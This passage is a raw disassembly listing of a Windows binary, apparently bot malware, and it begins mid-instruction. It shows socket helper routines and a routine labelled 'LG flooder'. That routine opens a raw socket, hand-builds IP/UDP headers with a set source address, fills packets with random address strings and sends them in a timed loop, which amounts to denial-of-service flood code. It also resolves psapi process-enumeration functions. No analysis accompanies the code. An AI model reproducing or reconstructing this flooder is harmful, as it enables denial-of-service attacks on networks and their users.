[eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE5C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: cAddress:004020A6p ; cAddress:004024BDp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: cAddress:00401F94p ; cAddress:004023BBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: cAddress:00403EC4p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; cAddress:00410676p ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; --------------------------------------------------------------------------- loc_4055E5: ; DATA XREF: sub_405E45+113o push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push dword ptr [ebp+8] lea eax, [ebp-1334h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp-1078h], eax cmp dword ptr [ebp-1078h], 0FFFFFFFFh jnz short loc_405643 push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: cAddress:0040562Ej mov dword ptr [ebp-1340h], 1 push 4 lea eax, [ebp-1340h] push eax push 2 push 0 push dword ptr [ebp-1078h] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: cAddress:00405669j push 0 push dword ptr [ebp-1078h] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp-10h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-10h], 2 lea eax, [ebp-108Dh] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp-0Eh], ax lea eax, [ebp-118Dh] push eax call dword_417244 ; inet_addr mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp-118Dh] push eax call dword_41723C ; gethostbyname mov [ebp-1344h], eax cmp dword ptr [ebp-1344h], 0 jnz short loc_405700 push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: cAddress:004056EBj mov eax, [ebp-1344h] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-0Ch], eax loc_405710: ; CODE XREF: cAddress:004056CFj cmp dword ptr [ebp-0Ch], 0FFFFFFFFh jnz short loc_405729 push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: cAddress:00405714j push 1060h push 0 lea eax, [ebp-1074h] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp-1074h] mov [ebp-133Ch], eax lea eax, [ebp-1058h] mov [ebp-14h], eax mov eax, [ebp-133Ch] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp-133Ch] mov [ecx], al mov eax, [ebp-133Ch] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp-133Ch] mov [ecx], al mov eax, [ebp-133Ch] mov byte ptr [eax+9], 11h mov eax, [ebp-133Ch] mov ecx, [ebp-0Ch] mov [eax+10h], ecx mov eax, [ebp-133Ch] mov cx, [ebp-0Eh] mov [eax+16h], cx and dword ptr [ebp-1338h], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: cAddress:loc_405E22j mov eax, [ebp-1338h] inc eax mov [ebp-1338h], eax loc_4057B6: ; CODE XREF: cAddress:004057A7j mov eax, [ebp-1338h] cmp eax, [ebp-1087h] jge loc_405E27 mov eax, [ebp-107Fh] mov [ebp-1358h], eax cmp dword ptr [ebp-1358h], 1 jz short loc_4057FC cmp dword ptr [ebp-1358h], 2 jz loc_405924 cmp dword ptr [ebp-1358h], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: cAddress:004057DBj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: cAddress:004058A4j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: cAddress:0040582Cj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: cAddress:004057E4j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: cAddress:004059B0j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: cAddress:00405954j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: cAddress:004057F1j push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp-134Ch], eax cmp dword ptr [ebp-134Ch], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU_0 ; "%u" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: cAddress:00405A29j cmp dword ptr [ebp-134Ch], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: cAddress:00405B07j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: cAddress:00405A8Fj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: cAddress:00405A59j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: cAddress:00405C13j push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: cAddress:00405BB7j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-14h] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: cAddress:00405A4Dj ; cAddress:00405B82j jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: cAddress:004057F7j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU_0 ; "%u" push dword ptr [ebp-14h] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: cAddress:0040591Fj ; cAddress:00405A0Cj ... push dword ptr [ebp-14h] call sub_416B40 ; strlen pop ecx mov [ebp-1354h], eax and dword ptr [ebp-1350h], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: cAddress:00405CDEj mov eax, [ebp-1350h] inc eax mov [ebp-1350h], eax loc_405CB8: ; CODE XREF: cAddress:00405CA9j mov eax, [ebp-1350h] cmp eax, [ebp-1354h] jnb short loc_405CE0 mov eax, [ebp-14h] add eax, [ebp-1350h] mov al, [eax] shl al, 1 mov ecx, [ebp-14h] add ecx, [ebp-1350h] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: cAddress:00405CC4j mov eax, [ebp-1354h] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp-133Ch] mov [ecx+8], al push 2 push offset dword_41EF18 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp-133Ch] mov [ecx+0Ch], eax mov eax, [ebp-1354h] add eax, 14h push eax push dword ptr [ebp-133Ch] call sub_40407D pop ecx pop ecx mov ecx, [ebp-133Ch] mov [ecx+0Ah], ax movzx eax, word ptr [ebp-0Eh] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp-133Ch] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: cAddress:00405D6Ej push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+14h], ax mov eax, [ebp-1354h] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp-133Ch] mov [ecx+18h], ax push 10h lea eax, [ebp-10h] push eax push 0 mov eax, [ebp-1354h] add eax, 1Ch push eax lea eax, [ebp-1074h] push eax push dword ptr [ebp-1078h] call dword_417250 ; sendto mov [ebp-1348h], eax cmp dword ptr [ebp-1348h], 0FFFFFFFFh jnz short loc_405E08 push dword ptr [ebp-1334h] call sub_409763 pop ecx push dword ptr [ebp-1078h] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: cAddress:00405DEAj push dword ptr [ebp-1083h] call dword_41709C ; Sleep mov eax, [ebp-1334h] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: cAddress:00405E1Ej jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: cAddress:004057C2j ; cAddress:00405E20j push dword ptr [ebp-1078h] call sub_4053B1 pop ecx push dword ptr [ebp-1334h] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: cAddress:0040563Ej ; cAddress:00405679j ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset loc_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: cAddress:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E280 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E27C, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E270, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E274, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E278, eax cmp dword_41E27C, 0 jz short locret_40603F cmp dword_41E270, 0 jz short locret_40603F cmp dword_41E274, 0 jz short locret_40603F cmp dword_41E278, 0 jz short 